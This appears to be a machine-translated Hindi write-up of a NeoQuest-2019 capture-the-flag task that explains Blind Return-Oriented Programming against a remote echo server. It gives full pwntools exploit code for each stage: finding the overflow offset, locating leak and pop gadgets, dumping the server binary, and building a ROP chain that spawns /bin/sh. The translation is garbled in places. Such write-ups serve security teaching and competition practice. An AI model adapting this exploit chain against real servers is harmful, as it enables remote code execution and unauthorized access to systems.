👊🏽 👧🏻 😧 सर्वर, क्या आप मुझे सुन सकते हैं? बीओआरपी नियोक्वेस्ट-2019 कार्य के उदाहरण पर हमला करता है 🔺 👩🏻‍🚀 🔷

इसके बारे में जानकारी के बिना एक सर्वर पर भेद्यता कैसे खोजें? बीआरपी आरओपी से कैसे अलग है? क्या बफर ओवरफ़्लो के माध्यम से सर्वर से एक निष्पादन योग्य फ़ाइल डाउनलोड करना संभव है? बिल्ली में आपका स्वागत है, हम इन सवालों के जवाब का विश्लेषण करेंगे Neoquest-2019 कार्य को पारित करने के उदाहरण पर!

सर्वर का पता और पोर्ट दिया गया है : 213.170.100.211 10000 । आइए इससे जुड़ने की कोशिश करें:

पहली नज़र में - कुछ खास नहीं, एक नियमित इको सर्वर: वही चीज़ लौटाता है जो हमने खुद उसे भेजी थी।

प्रेषित डेटा के आकार के साथ खेलने के बाद, आप देख सकते हैं कि पर्याप्त रूप से लंबी लाइन की लंबाई के साथ, सर्वर खड़ा नहीं होता है और कनेक्शन समाप्त हो जाता है:

हम्म, यह एक अतिप्रवाह की तरह लगता है।

बफर की लंबाई ज्ञात कीजिए। जब तक हम सर्वर से गैर-मानक आउटपुट प्राप्त नहीं करते, आप उन्हें मानों में वृद्धि कर सकते हैं। और आप थोड़ा सरलता दिखा सकते हैं और द्विआधारी खोज का उपयोग करके प्रक्रिया को गति दे सकते हैं, यह जांच कर सकते हैं कि क्या सर्वर अगले अनुरोध के बाद दुर्घटनाग्रस्त हो गया या नहीं गिरा।

बफर लंबाई का निर्धारण

from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end) // 2 print("Testing {}".format(curlen)) payload = b'\xff' * curlen conn.send(payload) time.sleep(0.5) r = conn.recv() payload = b'\xff' * (curlen) conn.send(payload) try: r = conn.recv() start = curlen payload = b'\xff' * (curlen + 1) conn.send(payload) time.sleep(0.5) r = conn.recv() conn.send(payload) try: r = conn.recv() except EOFError: print("\nBuffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1

तो, बफर की लंबाई 136 है। यदि आप सर्वर को 136 बाइट भेजते हैं, तो हम स्टैक पर हमारी लाइन के अंत में नल बाइट मिटा देते हैं और इसके बाद डेटा प्राप्त करते हैं - मान 0x400155 है। और यह, जाहिरा तौर पर, वापसी का पता है। इस तरह, हम निष्पादन के प्रवाह को नियंत्रित कर सकते हैं। लेकिन हमारे पास निष्पादन योग्य फ़ाइल नहीं है, और हमें नहीं पता कि वास्तव में ROP गैजेट कहां हैं जो हमें शेल प्राप्त करने की अनुमति दे सकते हैं।

इस बारे में क्या किया जा सकता है?

एक विशेष तकनीक है जो आपको इस तरह की समस्या को हल करने की अनुमति देती है, बशर्ते कि वापसी पता नियंत्रित हो - ब्लाइंड रिटर्न ओरिएंटेड प्रोग्रामिंग । संक्षेप में, बीआरपी गैजेट्स के लिए एक निष्पादन योग्य फ़ाइल का एक अंधा स्कैन है। हम पाठ खंड से कुछ पते के साथ वापसी पते को फिर से लिखते हैं, स्टैक पर वांछित गैजेट के लिए पैरामीटर सेट करें और प्रोग्राम व्यवहार का विश्लेषण करें। विश्लेषण के आधार पर, एक धारणा पैदा होती है कि हमने अनुमान लगाया या नहीं। विशेष सहायक गैजेट द्वारा एक महत्वपूर्ण भूमिका निभाई जाती है - स्टॉप (इसका निष्पादन कार्यक्रम की समाप्ति के लिए नेतृत्व नहीं करेगा) और ट्रैप (इसके निष्पादन से कार्यक्रम समाप्त हो जाएगा)। इस प्रकार, पहले सहायक गैजेट पाए जाते हैं, और उनकी मदद से आवश्यक पहले से ही खोजे जाते हैं (एक नियम के रूप में, लिखने को कॉल करने और निष्पादन योग्य फ़ाइल प्राप्त करने के लिए)।

उदाहरण के लिए, हम एक गैजेट ढूंढना चाहते हैं जो स्टैक से एक मान को एक रजिस्टर में रखता है और रिटायर करता है। हम इसे नियंत्रित करने के लिए वापसी पते के बजाय परीक्षण किए गए पते को रिकॉर्ड करेंगे। इसके बाद, हम ट्रैप गैजेट का पता लिखते हैं जो हमें पहले मिला था, और इसके पीछे स्टॉप गैजेट का पता है। अंत में क्या पता चलता है: यदि सर्वर क्रैश हो गया ( ट्रैप काम किया), तो गैजेट वर्तमान परीक्षण पते पर स्थित है, जो मांगे गए से मेल नहीं खाता: यह स्टैक से ट्रैप गैजेट का पता नहीं हटाता है। यदि स्टॉप ने काम किया है, तो वर्तमान गैजेट वही हो सकता है जिसे हम ढूंढ रहे हैं: इसने स्टैक से एक मान हटा दिया। इस प्रकार, आप उन गैजेट्स की खोज कर सकते हैं जो एक विशिष्ट व्यवहार से मेल खाते हैं।

लेकिन इस मामले में, खोज को सरल बनाया जा सकता है। हम यह सुनिश्चित करने के लिए जानते हैं कि सर्वर प्रतिक्रिया में कुछ मूल्य छाप रहा है। आप निष्पादन योग्य फ़ाइल में विभिन्न पतों को स्कैन करने और यह देखने की कोशिश कर सकते हैं कि क्या हम उस कोड को प्राप्त करते हैं जो फिर से लाइन प्रदर्शित करता है।

गैजेट की खोज

 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)

हम इस रिसाव का उपयोग करके निष्पादन योग्य फ़ाइल कैसे प्राप्त कर सकते हैं?

हम जानते हैं कि सर्वर प्रतिक्रिया में एक पंक्ति लिखता है। जब हम 0x40016f पते पर जाते हैं, तो आउटपुट फ़ंक्शन के पैरामीटर किसी प्रकार के कचरे से भरे होते हैं। चूंकि, वापसी पते को देखते हुए, हम 64-बिट निष्पादन योग्य फ़ाइल के साथ काम कर रहे हैं , कार्यों के पैरामीटर रजिस्टरों में स्थित हैं ।

लेकिन क्या होगा अगर हमें कोई ऐसा गैजेट मिल जाए जो हमें रजिस्टरों की सामग्री को नियंत्रित करने की अनुमति देगा (उन्हें स्टैक से वहां ले जाए)? आइए उसी तकनीक का उपयोग करके इसे खोजने का प्रयास करें। हम स्टैक पर कोई भी मूल्य डाल सकते हैं, है ना? इसलिए, हमें एक पॉप-गैजेट ढूंढना होगा जो आउटपुट फ़ंक्शन को कॉल करने से पहले हमारे मूल्य को वांछित रजिस्टर में डाल देगा। स्ट्रिंग के पते के रूप में ELF फ़ाइल ( 0x400000 ) की शुरुआत का पता सेट करें। अगर हमें सही गैजेट मिल जाता है, तो सर्वर को जवाब में हस्ताक्षर 7F 45 4C 46 प्रिंट करना होगा।

गैजेट खोज जारी है

 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)

पतों के परिणामस्वरूप गुच्छा का उपयोग करते हुए, हम सर्वर से निष्पादन योग्य फ़ाइल को पंप करते हैं।

फ़ाइल निष्कर्षण

 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None

आइए इसे आईडीए में देखें:

पता 0x40016f हमें syscall की ओर ले जाता है, और 0x40017f पॉप rsi की ओर ले जाता है; रिटायर ।

अब जब आपके हाथ में एक निष्पादन योग्य है, तो आप एक आरओपी श्रृंखला बना सकते हैं। इसके अलावा, लाइन / बिन / श भी इसमें थी !

हम एक चेन बनाते हैं जो / बिन / श तर्क के साथ सिस्टम को कॉल करता है । 64-बिट लिनक्स में सिस्टम कॉल की जानकारी मिल सकती है, उदाहरण के लिए, यहाँ ।

अंतिम थोड़ा कदम

 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()

शोषण चलाएँ और शेल प्राप्त करें:

जीत!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

बहुत जल्द, नवट्रेस्ट -2019 के ऑनलाइन चरण के अन्य कार्यों के लिए vraytaps दिखाई देगा। और "टकराव" 26 जून को होगा! इवेंट वेबसाइट पर दिखाई देगी खबर, याद मत करो!

सर्वर, क्या आप मुझे सुन सकते हैं? बीओआरपी नियोक्वेस्ट-2019 कार्य के उदाहरण पर हमला करता है

More articles: